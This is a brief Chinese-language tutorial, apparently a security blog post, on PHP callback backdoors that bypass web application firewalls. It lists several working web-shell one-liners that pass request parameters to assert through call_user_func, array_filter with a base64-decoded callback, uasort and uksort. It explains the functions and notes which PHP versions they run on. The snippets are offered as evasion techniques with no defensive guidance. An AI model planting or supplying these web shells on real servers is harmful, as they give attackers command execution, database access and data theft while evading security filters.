PHP回调后门是指利用php回调函数等技巧绕过WAF的方法。
回调后门的原理是,攻击者在受攻击的PHP应用程序中插入恶意代码,该代码通过回调函数的触发来执行特定的操作。攻击者可以通过后门实现对数据库的访问、执行系统命令、窃取敏感信息等恶意行为。
1 .初始的回调后门
call_user_func('assert', $_REQUEST['pass']);
call_user_func — 把第一个参数作为回调函数调用
assert — 检查一个断言是否为 false
assert作为回调函数,然后$_REQUEST['pass']作为assert的参数调用
例:phpinfo 查看PHP环境信息
file_put_contents — 将一个字符串写入文件
2.数组操作造成的单参数回调后门
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array — 新建一个数组
array_filter — 使用回调函数过滤数组的元素(这里采用了64位编码过滤)
3.php5.4.8+中的assert
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
uksort — 使用用户自定义的比较函数对数组中的键名进行排序
这个后门在php5.3时会报错,提示assert只能有一个参数,php版本改作5.4后就可以执行了